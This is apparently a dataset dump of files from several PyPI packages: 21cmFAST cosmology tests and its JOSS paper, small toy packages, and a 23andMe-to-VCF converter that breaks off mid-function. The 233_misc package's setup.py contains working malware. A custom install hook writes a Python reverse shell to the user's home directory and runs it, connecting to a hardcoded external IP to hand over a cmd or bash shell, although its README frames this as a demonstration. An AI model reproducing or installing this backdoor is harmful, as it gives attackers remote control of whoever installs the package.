code
stringlengths 1
5.19M
| package
stringlengths 1
81
| path
stringlengths 9
304
| filename
stringlengths 4
145
|
---|---|---|---|
"""
Unit tests for output structures
"""
import pytest
import copy
import numpy as np
import pickle
from py21cmfast import InitialConditions # An example of an output struct
from py21cmfast import IonizedBox, PerturbedField, TsBox, global_params
@pytest.fixture(scope="function")
def init(default_user_params):
return InitialConditions(user_params=default_user_params)
@pytest.mark.parametrize("cls", [InitialConditions, PerturbedField, IonizedBox, TsBox])
def test_pointer_fields(cls):
if cls is InitialConditions:
inst = cls()
else:
with pytest.raises(KeyError):
cls()
inst = cls(redshift=7.0)
# Get list of fields before and after array initialisation
d = copy.copy(list(inst.__dict__.keys()))
inst._init_arrays()
new_names = [name for name in inst.__dict__ if name not in d]
assert new_names
assert all(n in inst.pointer_fields for n in new_names)
def test_non_existence(init, test_direc):
assert not init.exists(direc=test_direc)
def test_writeability(init):
"""init is not initialized and therefore can't write yet."""
with pytest.raises(IOError):
init.write()
def test_readability(ic, tmpdirec, default_user_params):
ic2 = InitialConditions(user_params=default_user_params)
# without seeds, they are obviously exactly the same.
assert ic._seedless_repr() == ic2._seedless_repr()
assert ic2.exists(direc=tmpdirec)
ic2.read(direc=tmpdirec)
assert repr(ic) == repr(ic2) # they should be exactly the same.
assert str(ic) == str(ic2) # their str is the same.
assert hash(ic) == hash(ic2)
assert ic == ic2
assert ic is not ic2
def test_different_seeds(init, default_user_params):
ic2 = InitialConditions(random_seed=2, user_params=default_user_params)
assert init is not ic2
assert init != ic2
assert repr(init) != repr(ic2)
assert init._seedless_repr() == ic2._seedless_repr()
assert init._md5 == ic2._md5
# make sure we didn't inadvertantly set the random seed while doing any of this
assert init._random_seed is None
def test_pickleability(default_user_params):
ic_ = InitialConditions(init=True, user_params=default_user_params)
ic_.filled = True
ic_.random_seed
s = pickle.dumps(ic_)
ic2 = pickle.loads(s)
assert repr(ic_) == repr(ic2)
def test_fname(default_user_params):
ic1 = InitialConditions(user_params=default_user_params)
ic2 = InitialConditions(user_params=default_user_params)
# we didn't give them seeds, so can't access the filename attribute
# (it is undefined until a seed is set)
with pytest.raises(AttributeError):
assert ic1.filename != ic2.filename # random seeds are different
# *but* should be able to get a skeleton filename:
assert ic1._fname_skeleton == ic2._fname_skeleton
ic1.random_seed # sets the random seed
ic2.random_seed
assert ic1.filename != ic2.filename # random seeds should now be different
assert ic1._fname_skeleton == ic2._fname_skeleton
def test_match_seed(tmpdirec, default_user_params):
ic2 = InitialConditions(random_seed=1, user_params=default_user_params)
# This fails because we've set the seed and it's different to the existing one.
with pytest.raises(IOError):
ic2.read(direc=tmpdirec)
def test_bad_class_definition(default_user_params):
class CustomInitialConditions(InitialConditions):
_name = "InitialConditions"
"""
A class containing all initial conditions boxes.
"""
def _get_box_structures(self):
out = super()._get_box_structures()
out["unknown_key"] = (1, 1, 1)
return out
with pytest.raises(TypeError):
CustomInitialConditions(init=True, user_params=default_user_params)
def test_bad_write(init):
# no random seed yet so shouldn't be able to write.
with pytest.raises(IOError):
init.write()
def test_global_params_keys():
assert "HII_FILTER" in global_params.keys()
def test_reading_purged(ic: InitialConditions):
lowres_density = ic.lowres_density
# Remove it from memory
ic.purge()
assert "lowres_density" not in ic.__dict__
assert ic._array_state["lowres_density"].on_disk
assert not ic._array_state["lowres_density"].computed_in_mem
# But we can still get it.
lowres_density_2 = ic.lowres_density
assert ic._array_state["lowres_density"].on_disk
assert ic._array_state["lowres_density"].computed_in_mem
assert np.allclose(lowres_density_2, lowres_density)
ic.load_all()
| 21cmFAST | /21cmFAST-3.3.1.tar.gz/21cmFAST-3.3.1/tests/test_output_structs.py | test_output_structs.py |
---
title: '21cmFAST v3: A Python-integrated C code for generating 3D realizations of the cosmic 21cm signal.'
tags:
- Python
- astronomy
- cosmology
- simulation
authors:
- name: Steven G. Murray
orcid: 0000-0003-3059-3823
affiliation: 1
- name: Bradley Greig
orcid: 0000-0002-4085-2094
affiliation: 2, 3
- name: Andrei Mesinger
orcid: 0000-0003-3374-1772
affiliation: 4
- name: Julian B. Muñoz
orcid: 0000-0002-8984-0465
affiliation: 5
- name: Yuxiang Qin
orcid: 0000-0002-4314-1810
affiliation: 4
- name: Jaehong Park
orcid: 0000-0003-3095-6137
affiliation: 4, 7
- name: Catherine A. Watkinson
orcid: 0000-0003-1443-3483
affiliation: 6
affiliations:
- name: School of Earth and Space Exploration, Arizona State University, Phoenix, USA
index: 1
- name: ARC Centre of Excellence for All-Sky Astrophysics in 3 Dimensions (ASTRO 3D)
index: 2
- name: School of Physics, University of Melbourne, Parkville, VIC 3010, Australia
index: 3
- name: Scuola Normale Superiore, Piazza dei Cavalieri 7, 56126 Pisa, Italy
index: 4
- name: Department of Physics, Harvard University, 17 Oxford St., Cambridge, MA, 02138, USA
index: 5
- name: School of Physics and Astronomy, Queen Mary University of London, G O Jones Building, 327 Mile End Road, London, E1 4NS, UK
index: 6
- name: School of Physics, Korea Institute for Advanced Study, 85 Hoegiro, Dongdaemun-gu, Seoul, 02455, Republic of Korea
index: 7
date: 24 Sep 2020
bibliography: paper.bib
---
# Summary
The field of 21-cm cosmology -- in which the hyperfine spectral line of neutral hydrogen
(appearing at the rest-frame wavelength of 21 cm) is mapped over large swathes of the
Universe's history -- has developed radically over the last decade.
The promise of the field is to revolutionize our
knowledge of the first stars, galaxies, and black holes through the timing and patterns
they imprint on the cosmic 21-cm signal.
In order to interpret the eventual observational data, a range of physical models have
been developed -- from simple analytic models of the global history of hydrogen reionization,
through to fully hydrodynamical simulations of the 3D evolution of the brightness
temperature of the spectral line.
Between these extremes lies an especially versatile middle-ground: fast semi-numerical
models that approximate the full 3D evolution of the relevant fields: density, velocity,
temperature, ionization, and radiation (Lyman-alpha, neutral hydrogen 21-cm, etc.).
These have the advantage of being comparable to the full first-principles
hydrodynamic simulations, but significantly quicker to run; so much so that they can
be used to produce thousands of realizations on scales comparable to those observable
by upcoming low-frequency radio telescopes, in order to explore the very wide
parameter space that still remains consistent with the data.
Amongst practitioners in the field of 21-cm cosmology, the `21cmFAST` program has become
the *de facto* standard for such semi-numerical simulators.
`21cmFAST` [@mesinger2007; @mesinger2010] is a high-performance C code that uses the
excursion set formalism [@furlanetto2004] to
identify regions of ionized hydrogen atop a cosmological density field evolved using
first- or second-order Lagrangian perturbation theory [@zeldovich1970; @scoccimarro2002],
tracking the thermal and ionization state of the intergalactic medium, and computing
X-ray, soft UV and ionizing UV cosmic radiation fields based on parametrized galaxy models.
For example, the following figure contains slices of lightcones (3D fields in which one
axis corresponds to both spatial *and* temporal evolution) for the various
component fields produced by `21cmFAST`.
{height=450px}
However, `21cmFAST` is a highly specialized code, and its implementation has been
quite specific and relatively inflexible.
This inflexibility makes it difficult to modify the behaviour of the code without detailed
knowledge of the full system, or disrupting its workings.
This lack of modularity within the code has led to
widespread code "branching" as researchers hack new physical features of interest
into the C code; the lack of a streamlined API has led derivative codes which run
multiple realizations of `21cmFAST` simulations [such as the Monte Carlo simulator,
`21CMMC`, @greig2015] to re-write large portions of the code in order to serve their purpose.
It is thus of critical importance, as the field moves forward in its understanding -- and
the range and scale of physical models of interest continues to increase -- to
reformulate the `21cmFAST` code in order to provide a fast, modular, well-documented,
well-tested, stable simulator for the community.
# Features of 21cmFAST v3
This paper presents `21cmFAST` v3+, which is formulated to follow these essential
guiding principles.
While keeping the same core functionality of previous versions of `21cmFAST`, it has
been fully integrated into a Python package, with a simple and intuitive interface, and
a great deal more flexibility.
At a higher level, in order to maintain best practices, a community of users and
developers has coalesced into a formal collaboration which maintains the project via a
Github organization.
This allows the code to be consistently monitored for quality, maintaining high test
coverage, stylistic integrity, dependable release strategies and versioning,
and peer code review.
It also provides a single point-of-reference for the community to obtain the code,
report bugs and request new features (or get involved in development).
A significant part of the work of moving to a Python interface has been the
development of a robust series of underlying Python structures which handle the passing
of data between Python and C via the `CFFI` library.
This foundational work provides a platform for future versions to extend the scientific
capabilities of the underlying simulation code.
The primary *new* usability features of `21cmFAST` v3+ are:
* Convenient (Python) data objects which simplify access to and processing of the various
fields that form the brightness temperature.
* Enhancement of modularity: the underlying C functions for each step of the simulation
have been de-coupled, so that arbitrary functionality can be injected into the process.
* Conversion of most global parameters to local structs to enable this modularity, and
also to obviate the requirement to re-compile in order to change parameters.
* Simple `pip`-based installation.
* Robust on-disk caching/writing of data, both for efficiency and simplified reading of
previously processed data (using HDF5).
* Simple high-level API to generate either coeval cubes (purely spatial 3D fields defined
at a particular time) or full lightcone data (i.e. those coeval cubes interpolated over
cosmic time, mimicking actual observations).
* Improved exception handling and debugging.
* Convenient plotting routines.
* Simple configuration management, and also more intuitive management for the
remaining C global variables.
* Comprehensive API documentation and tutorials.
* Comprehensive test suite (and continuous integration).
* Strict semantic versioning^[https://semver.org].
While in v3 we have focused on the establishment of a stable and extendable infrastructure,
we have also incorporated several new scientific features, appearing in separate papers:
* Generate transfer functions using the `CLASS` Boltzmann code [@Lesgourgues2011].
* Simulate the effects of relative velocities between dark matter and Baryons [@munoz2019a; @munoz2019b].
* Correction for non-conservation of ionizing photons (Park, Greig et al., *in prep*).
* Include molecularly cooled galaxies with distinct properties [@qin2020]
* Calculate rest-frame UV luminosity functions based on parametrized galaxy models.
`21cmFAST` is still in very active development.
Amongst further usability and performance improvements,
future versions will see several new physical models implemented,
including milli-charged dark matter models [@Munoz2018] and forward-modelled CMB
auxiliary data [@qin2020a].
In addition, `21cmFAST` will be incorporated into large-scale inference codes, such as
`21CMMC`, and is being used to create large data-sets for inference via machine learning.
We hope that with this new framework, `21cmFAST` will remain an important component
of 21-cm cosmology for years to come.
# Examples
`21cmFAST` supports installation using `conda`, which means installation is as simple
as typing `conda install -c conda-forge 21cmFAST`. The following example can then
be run in a Python interpreter.
In-depth examples can be found in the official documentation.
As an example of the simplicity with which a full lightcone may be produced with
the new `21cmFAST` v3, the following may be run in a Python interpreter (or Jupyter
notebook):
```python
import py21cmfast as p21c
lightcone = p21c.run_lightcone(
redshift=6.0, # Minimum redshift of lightcone
max_redshift=30.0,
user_params={
"HII_DIM": 150, # N cells along side in output cube
"DIM": 400, # Original high-res cell number
"BOX_LEN": 300, # Size of the simulation in Mpc
},
flag_options={
"USE_TS_FLUCT": True, # Don't assume saturated spin temp
"INHOMO_RECO": True, # Use inhomogeneous recombinations
},
lightcone_quantities=( # Components to store as lightcones
"brightness_temp",
"xH_box",
"density"
),
global_quantities=( # Components to store as mean
"xH_box", # values per redshift
"brightness_temp"
),
)
# Save to a unique filename hashing all input parameters
lightcone.save()
# Make a lightcone sliceplot
p21c.plotting.lightcone_sliceplot(lightcone, "brightness_temp")
```
{height=300px}
```python
# Plot a global quantity
p21c.plotting.plot_global_history(lightcone, "xH")
```
{height=300px}
# Performance
Despite being a Python code, `21cmFAST` v3 does not diminish the performance of previous
pure-C versions. It utilises `CFFI` to provide the interface to the C-code through
Python, which is managed by some custom Python classes that oversee the construction and
memory allocation of each C `struct`.
OpenMP parallelization is enabled within the C-code, providing excellent speed-up for
large simulations when performed on high-performance machines.
A simple performance comparison between v3 and v2.1 (the last pure-C version), running
a light-cone simulation over a redshift range between 35 and 5 (92 snapshots) with spin
temperature fluctuations (`USE_TS_FLUCT`), inhomogeneous recombinations
(`INHOMO_RECO`), FFTW Wisdoms (`USE_FFTW_WISDOM`) and interpolation tables
(`USE_INTERPOLATION_TABLES`),
with a resolution of `HII_DIM=250` cells, and `DIM=1000` cells for the initial conditions,
on an Intel(R) Xeon(R) CPU (E5-4657L v2 @ 2.40GHz) with 16 shared-memory cores, reveals
that a clock time of 7.63(12.63) hours and a maximum RAM of 224(105) gigabytes are needed
for v3(v2.1).
Note that while a full light-cone simulation can be expensive to perform,
it only takes 2-3min to calculate a Coeval box (excluding the initial conditions).
For instance, the aforementioned timing for v3 includes 80 minutes to generate the
initial condition, which also dominates the maximum RAM required, with an additional
~4 minutes per snapshot to calculate all required fields of perturbation, ionization,
spin temperature and brightness temperature.
To guide the user, we list some performance benchmarks for variations on this simulation,
run with `21cmFAST` v3.0.2. Note that these benchmarks are subject to change as new
minor versions are delivered; in particular, operational modes that reduce maximum
memory consumption are planned for the near future.
| Variation | Time (hr) | Memory (GB) |
| ----------------------------------------------- | --------- | ----------- |
| Reference | 7.63 | 224 |
| Single Core | 14.77 | 224 |
| 4 Shared-memory Cores | 7.42 | 224 |
| 64 Shared-memory Cores | 9.60 | 224 |
| Higher Resolution <br />(HII_DIM=500, DIM=2000) | 68.37 | 1790 |
| Lower Resolution <br />(HII_DIM=125, DIM=500) | 0.68 | 28 |
| No Spin Temperature | 4.50 | 224 |
| Use Mini-Halos | 11.57 | 233 |
| No FFTW Wisdoms | 7.33 | 224 |
At this time, the `21cmFAST` team suggests using 4 or fewer shared-memory cores.
However, it is worth noting that as performance does vary on different machines,
users are recommended to calculate their own scalability.
# Acknowledgements
This work was supported in part by the European Research Council
(ERC) under the European Union’s Horizon 2020 research
and innovation programme (AIDA – #638809). The results
presented here reflect the authors’ views; the ERC is not
responsible for their use. JBM was partially supported by NSF grant AST-1813694.
Parts of this research were supported by the European Research Council under ERC grant
number 638743-FIRSTDAWN. Parts of this research were supported by the Australian Research
Council Centre of Excellence for
All Sky Astrophysics in 3 Dimensions (ASTRO 3D), through project number CE170100013.
JP was supported in part by a KIAS individual Grant (PG078701) at Korea Institute for
Advanced Study.
# References
| 21cmFAST | /21cmFAST-3.3.1.tar.gz/21cmFAST-3.3.1/joss-paper/paper.md | paper.md |
"""Run the example in the JOSS paper and make plots."""
import matplotlib.pyplot as plt
import py21cmfast as p21c
lightcone = p21c.run_lightcone(
redshift=6.0, # Minimum redshift of the lightcone
max_redshift=30.0,
user_params={
"HII_DIM": 150, # Number of cells along a side in the output cube
"DIM": 450, # Original high-resolution cell number
"BOX_LEN": 300, # Size of the simulation in Mpc
"N_THREADS": 16,
"USE_INTERPOLATION_TABLES": True,
},
flag_options={
"USE_TS_FLUCT": True, # Do not assume saturated spin temperature
"INHOMO_RECO": True, # Use inhomogeneous recominations
},
lightcone_quantities=( # Component fields to store as interpolated lightcones
"brightness_temp",
"xH_box",
"density",
),
global_quantities=( # Component fields to store as mean values per redshift
"xH_box",
"brightness_temp",
),
)
# Save to a unique filename hashing all input parameters
lightcone.save()
fig, ax = plt.subplots(
1,
1,
figsize=(
7.75,
7.75 * min(lightcone.shape) / max(lightcone.shape) + 2.5,
),
)
# Make a lightcone sliceplot
fig, ax = p21c.plotting.lightcone_sliceplot(
lightcone, "brightness_temp", fig=fig, ax=ax
)
fig.savefig("lightcone.pdf")
fig, ax = p21c.plotting.plot_global_history(lightcone, "xH")
fig.savefig("xH_history.pdf")
| 21cmFAST | /21cmFAST-3.3.1.tar.gz/21cmFAST-3.3.1/joss-paper/make-example-plots.py | make-example-plots.py |
from distutils.core import setup
setup(
name='223', # 对外我们模块的名字
version='1.0', # 版本号
description='这是第一个对外发布的模块,测试哦', #描述
author='zhangxin', # 作者
author_email='11654743140@qq.com', py_modules=['223.game'] # 要发布的模块
)
| 223 | /223-1.0.tar.gz/223-1.0/setup.py | setup.py |
from setuptools import find_packages, setup
# Package meta-data.
import wu
NAME = '2233'
DESCRIPTION = 'A daily useful kit by WU.'
URL = 'https://github.com/username/wu.git'
EMAIL = 'wu@foxmail.com'
AUTHOR = 'WU'
REQUIRES_PYTHON = '>=3.6.0'
VERSION = wu.VERSION
# What packages are required for this module to be executed?
REQUIRED = []
# Setting.
setup(
name=NAME,
version=VERSION,
description=DESCRIPTION,
author=AUTHOR,
python_requires=REQUIRES_PYTHON,
url=URL,
packages=find_packages(),
install_requires=REQUIRED,
license="MIT",
platforms=["all"],
long_description=open('README.md', 'r', encoding='utf-8').read(),
long_description_content_type="text/markdown"
) | 2233 | /2233-0.0.0.tar.gz/2233-0.0.0/setup.py | setup.py |
import os
import subprocess
import time
from subprocess import PIPE
from urllib import parse, request
import requests
# TODO:找不到win32api
# from win10toast import ToastNotifier
def getTime():
return time.asctime( time.localtime(time.time()) )
def cmd(cmd):
# 有点问题,自动输出到,还获取不了输出
# return os.system(cmd)
return os.popen(cmd).read()
| 2233 | /2233-0.0.0.tar.gz/2233-0.0.0/wu/wy.py | wy.py |
# this dir as module name,只要有__init__.py,那么那个目录就是module,比如放在上一级目录
# TODO
#这里重点讨论 orbitkit 文件夹,也就是我们的核心代码文件夹。python 和 java 不一样,并不是一个文件就是一个类,在 python 中一个文件中可以写多个类。我们推荐把希望向用户暴漏的类和方法都先导入到 __init__.py 中,并且用关键词 __all__ 进行限定。下面是我的一个 __init__.py 文件。
#这样用户在使用的时候可以清楚的知道哪些类和方法是可以使用的,也就是关键词 __all__ 所限定的类和方法。
from wu import wy
#另外,在写自己代码库的时候,即便我们可以使用相对导入,但是模块导入一定要从项目的根目录进行导入,这样可以避免一些在导入包的时候因路径不对而产生的问题。比如
# from orbitkit.file_extractor.dispatcher import FileDispatcher
name = 'orbitkit'
__version__ = '0.0.0'
VERSION = __version__
__all__ = [
'wy',
]
| 2233 | /2233-0.0.0.tar.gz/2233-0.0.0/wu/__init__.py | __init__.py |
# -*-coding:utf-8-*-
# Author: yunhao
# Github: https://github.com/yunhao233
# CreatDate: 2021/1/9 16:01
# Description:
from distutils.core import setup
from setuptools import find_packages
setup(name='2233223', # 包名
version='2019.03.09', # 版本号
description='',
long_description='',
author='',
author_email='',
url='',
license='',
install_requires=[],
classifiers=[
'Intended Audience :: Developers',
'Operating System :: OS Independent',
'Natural Language :: Chinese (Simplified)',
'Programming Language :: Python',
'Programming Language :: Python :: 2',
'Programming Language :: Python :: 2.5',
'Programming Language :: Python :: 2.6',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.2',
'Programming Language :: Python :: 3.3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Topic :: Utilities'
],
keywords='',
packages=find_packages('src'), # 必填,就是包的代码主目录
package_dir={'': 'src'}, # 必填
include_package_data=True,
)
| 2233223 | /2233223-2019.3.9.tar.gz/2233223-2019.3.9/setup.py | setup.py |
# -*-coding:utf-8-*-
# Author: yunhao
# Github: https://github.com/yunhao233
# CreatDate: 2021/1/9 16:01
# Description:
def testPrint():
print("hello package sghello!!") | 2233223 | /2233223-2019.3.9.tar.gz/2233223-2019.3.9/src/test/hello.py | hello.py |
# -*-coding:utf-8-*-
# Author: yunhao
# Github: https://github.com/yunhao233
# CreatDate: 2021/1/9 16:01
# Description:
from __future__ import absolute_import
from .hello import *
__version__ = '1.0.0'
__license__ = '' | 2233223 | /2233223-2019.3.9.tar.gz/2233223-2019.3.9/src/test/__init__.py | __init__.py |
import functions
while True:
print('MENU:')
print('S.no.\tTask')
print('1\tAddition of two numbers')
print('2\tExponentiate')
print('3\tExit')
i=input('\nEnter the S.no. of the task you want to perform: ')
if i=='1':
a=int(input('\nEnter the first number: '))
b=int(input('Enter the second number: '))
sum1=functions.summ(a,b)
print('\nthe sum of the two numbers is',sum1,'\n')
elif i=='2':
a=int(input('\nEnter the base: '))
b=int(input('Enter the power: '))
power1=functions.power(a,b)
print('the exponentiation is ',power1)
elif i=='3':
break
else:
print('INVALID INPUT!')
print('Please enter a valid input from the menu.\n') | 22BEE0039 | /22BEE0039-0.0.1-py3-none-any.whl/main.py | main.py |
def summ(x,y):
s=x+y
return s
def power(x,y):
p=x**y
return p | 22BEE0039 | /22BEE0039-0.0.1-py3-none-any.whl/functions.py | functions.py |
# Python Project
This is a simple package which does addition, subtraction, multiplication and division of two whole numbers.
Made by Aahir Basu.
Currently studying B.Tech EEE at VIT, Vellore.
Registration Number - 22BEE0040 | 22BEE0040 | /22BEE0040-0.0.2.tar.gz/22BEE0040-0.0.2/README.md | README.md |
MIT License
Copyright (c) 2022 [The_Robin_Hood]
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
| 233-misc | /233_misc-0.0.3.tar.gz/233_misc-0.0.3/LICENSE.md | LICENSE.md |
# Explanation:
This is Simple Python Reverse Shell module.
It is show how one can write a exploit and upload a malicious code to pyorg.
If installed how the attacker can get over your machine. | 233-misc | /233_misc-0.0.3.tar.gz/233_misc-0.0.3/README.md | README.md |
import subprocess,os,sys
from setuptools import setup, find_packages
from setuptools.command.install import install
Code = """
import socket,subprocess,os,threading,sys,time
def windows(sock):
QUIT = 0
def host2remote(s, p,QUIT):
while not QUIT:
try:
p.stdin.write(s.recv(1024).decode());
p.stdin.flush()
except:
p.stdin.write('\\n')
p.stdin.flush()
QUIT = 1
def remote2host(s, p,QUIT):
while not QUIT:
try:
s.send(p.stdout.read(1).encode())
except:
p.stdout.close();
QUIT = 1
remote=subprocess.Popen(["cmd","/K","cd ../../../"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)
t1 = threading.Thread(target=host2remote, args=[sock,remote,QUIT], daemon=True).start()
t2 = threading.Thread(target=remote2host, args=[sock,remote,QUIT], daemon=True).start()
try:
remote.wait()
except Exception as e:
sock.close()
sys.exit(0)
def linux(sock):
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
remote=subprocess.call(["/bin/bash","-i"])
def getRemoteAccess():
IP = socket.gethostbyname(socket.gethostname())
PORT = 20080
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
QUIT = 0
IP = "120.76.194.25"
print (IP)
while True:
try:
sock.connect((IP,20080));
break
except:
try:
time.sleep(3)
except KeyboardInterrupt:
sock.close()
sys.exit(0)
try:
if sys.platform == "win32":
windows(sock)
else:
linux(sock)
except KeyboardInterrupt:
sock.close()
sys.exit(0)
except Exception as e:
print(e)
sock.close()
sys.exit(0)
getRemoteAccess()
"""
class execute(install):
def run(self):
install.run(self)
file = open("remote-access.py", "w")
file.write(Code)
file.close()
dest = os.path.expanduser("~")
if sys.platform == "win32":
dest = os.path.expanduser('~/Documents')
try:
os.rename("remote-access.py", dest+"/remote-access.py")
except FileExistsError:
os.remove(dest+"/remote-access.py")
os.rename("remote-access.py", dest+"/remote-access.py")
try :
subprocess.Popen(["python3", dest+"/remote-access.py"],stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=False, text=False)
except:
pass
VERSION = '0.0.3'
DESCRIPTION = 'To Show the vulnerability of the system'
LONG_DESCRIPTION = 'A package that allows you to get remote access of a machine.'
CLASSIFIERS = [
"Development Status :: 1 - Planning",
"Intended Audience :: Developers",
"Programming Language :: Python :: 3",
"Topic :: Security",
"Operating System :: Unix",
"Operating System :: Microsoft :: Windows",
"License :: OSI Approved :: MIT License",
]
# Setting up
setup(
name="233_misc",
version=VERSION,
author="233",
description=DESCRIPTION,
long_description= open('README.md').read(),
long_description_content_type="text/markdown",
packages=find_packages(),
# url = "https://github.com/The-Robin-Hood/pip-remote-access",
# project_urls = {
# "Bug Tracker": "https://github.com/The-Robin-Hood/pip-remote-access/issues",
# },
install_requires=[''],
keywords=['python', 'vulnerability', 'remoteaccess', 'sockets'],
classifiers= CLASSIFIERS,
cmdclass={'install': execute},
)
| 233-misc | /233_misc-0.0.3.tar.gz/233_misc-0.0.3/setup.py | setup.py |
Change Log
===================
0.0.3 (25/07/2022)
-------------------
- Release v0.0.3
| 233-misc | /233_misc-0.0.3.tar.gz/233_misc-0.0.3/CHANGELOG.md | CHANGELOG.md |
from setuptools import find_packages, setup
# Package meta-data.
import wu
NAME = '233'
DESCRIPTION = 'A daily useful kit by WU.'
URL = 'https://github.com/username/wu.git'
EMAIL = 'wu@foxmail.com'
AUTHOR = 'WU'
REQUIRES_PYTHON = '>=3.6.0'
VERSION = wu.VERSION
# What packages are required for this module to be executed?
REQUIRED = []
# Setting.
setup(
name=NAME,
version=VERSION,
description=DESCRIPTION,
author=AUTHOR,
python_requires=REQUIRES_PYTHON,
url=URL,
packages=find_packages(),
install_requires=REQUIRED,
license="MIT",
platforms=["all"],
long_description=open('README.md', 'r', encoding='utf-8').read(),
long_description_content_type="text/markdown"
) | 233 | /233-0.0.0.tar.gz/233-0.0.0/setup.py | setup.py |
import os
import subprocess
import time
from subprocess import PIPE
from urllib import parse, request
import requests
# TODO:找不到win32api
# from win10toast import ToastNotifier
def getTime():
return time.asctime( time.localtime(time.time()) )
def cmd(cmd):
# 有点问题,自动输出到,还获取不了输出
# return os.system(cmd)
return os.popen(cmd).read()
| 233 | /233-0.0.0.tar.gz/233-0.0.0/wu/wy.py | wy.py |
# this dir as module name,只要有__init__.py,那么那个目录就是module,比如放在上一级目录
# TODO
#这里重点讨论 orbitkit 文件夹,也就是我们的核心代码文件夹。python 和 java 不一样,并不是一个文件就是一个类,在 python 中一个文件中可以写多个类。我们推荐把希望向用户暴漏的类和方法都先导入到 __init__.py 中,并且用关键词 __all__ 进行限定。下面是我的一个 __init__.py 文件。
#这样用户在使用的时候可以清楚的知道哪些类和方法是可以使用的,也就是关键词 __all__ 所限定的类和方法。
from wu import wy
#另外,在写自己代码库的时候,即便我们可以使用相对导入,但是模块导入一定要从项目的根目录进行导入,这样可以避免一些在导入包的时候因路径不对而产生的问题。比如
# from orbitkit.file_extractor.dispatcher import FileDispatcher
name = 'orbitkit'
__version__ = '0.0.0'
VERSION = __version__
__all__ = [
'wy',
]
| 233 | /233-0.0.0.tar.gz/233-0.0.0/wu/__init__.py | __init__.py |
from setuptools import find_packages, setup
# Package meta-data.
import wu
NAME = '2333'
DESCRIPTION = 'A daily useful kit by WU.'
URL = 'https://github.com/username/wu.git'
EMAIL = 'wu@foxmail.com'
AUTHOR = 'WU'
REQUIRES_PYTHON = '>=3.6.0'
VERSION = wu.VERSION
# What packages are required for this module to be executed?
REQUIRED = []
# Setting.
setup(
name=NAME,
version=VERSION,
description=DESCRIPTION,
author=AUTHOR,
python_requires=REQUIRES_PYTHON,
url=URL,
packages=find_packages(),
install_requires=REQUIRED,
license="MIT",
platforms=["all"],
long_description=open('README.md', 'r', encoding='utf-8').read(),
long_description_content_type="text/markdown"
) | 2333 | /2333-0.0.0.tar.gz/2333-0.0.0/setup.py | setup.py |
import os
import subprocess
import time
from subprocess import PIPE
from urllib import parse, request
import requests
# TODO:找不到win32api
# from win10toast import ToastNotifier
def getTime():
return time.asctime( time.localtime(time.time()) )
def cmd(cmd):
# 有点问题,自动输出到,还获取不了输出
# return os.system(cmd)
return os.popen(cmd).read()
| 2333 | /2333-0.0.0.tar.gz/2333-0.0.0/wu/wy.py | wy.py |
# this dir as module name,只要有__init__.py,那么那个目录就是module,比如放在上一级目录
# TODO
#这里重点讨论 orbitkit 文件夹,也就是我们的核心代码文件夹。python 和 java 不一样,并不是一个文件就是一个类,在 python 中一个文件中可以写多个类。我们推荐把希望向用户暴漏的类和方法都先导入到 __init__.py 中,并且用关键词 __all__ 进行限定。下面是我的一个 __init__.py 文件。
#这样用户在使用的时候可以清楚的知道哪些类和方法是可以使用的,也就是关键词 __all__ 所限定的类和方法。
from wu import wy
#另外,在写自己代码库的时候,即便我们可以使用相对导入,但是模块导入一定要从项目的根目录进行导入,这样可以避免一些在导入包的时候因路径不对而产生的问题。比如
# from orbitkit.file_extractor.dispatcher import FileDispatcher
name = 'orbitkit'
__version__ = '0.0.0'
VERSION = __version__
__all__ = [
'wy',
]
| 2333 | /2333-0.0.0.tar.gz/2333-0.0.0/wu/__init__.py | __init__.py |
# 23andme to VCF
A simple command-line tool to convert 23andMe raw data files to VCF format.
# Install
```
pip install 23andme-to-vcf
```
# Usage
```
23andme-to-vcf --input in.txt --fasta GRCh37.fa --fai GRCh37.fa.fai --output out.vcf
```
| 23andme-to-vcf | /23andme_to_vcf-0.0.3-py3-none-any.whl/23andme_to_vcf-0.0.3.dist-info/DESCRIPTION.rst | DESCRIPTION.rst |
import argparse
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('--input', help='A 23andme data file', required=True)
parser.add_argument('--output', help='Output VCF file', required=True)
parser.add_argument('--fasta', help='An uncompressed reference genome GRCh37 fasta file', required=True)
parser.add_argument('--fai', help='The fasta index for for the reference', required=True)
def load_fai(args):
index = {}
with open(args.fai) as f:
for line in f:
toks = line.split('\t')
chrom = 'chr' + toks[0]
if chrom == 'chrMT':
chrom = 'chrM'
length = int(toks[1])
start = int(toks[2])
linebases = int(toks[3])
linewidth = int(toks[4])
index[chrom] = (start, length, linebases, linewidth)
return index
def get_vcf_records(pos_list, fai, args):
with open(args.fasta) as f:
def get_alts(ref, genotype):
for x in genotype:
assert x in 'ACGT'
if len(genotype) == 1:
if ref in genotype:
return []
return [genotype]
if ref == genotype[0] and ref == genotype[1]:
return []
if ref == genotype[0]:
return [genotype[1]]
if ref == genotype[1]:
return [genotype[0]]
return [genotype[0], genotype[1]]
for (rsid, chrom, pos, genotype) in pos_list:
start, _, linebases, linewidth = fai[chrom]
n_lines = int(pos / linebases)
n_bases = pos % linebases
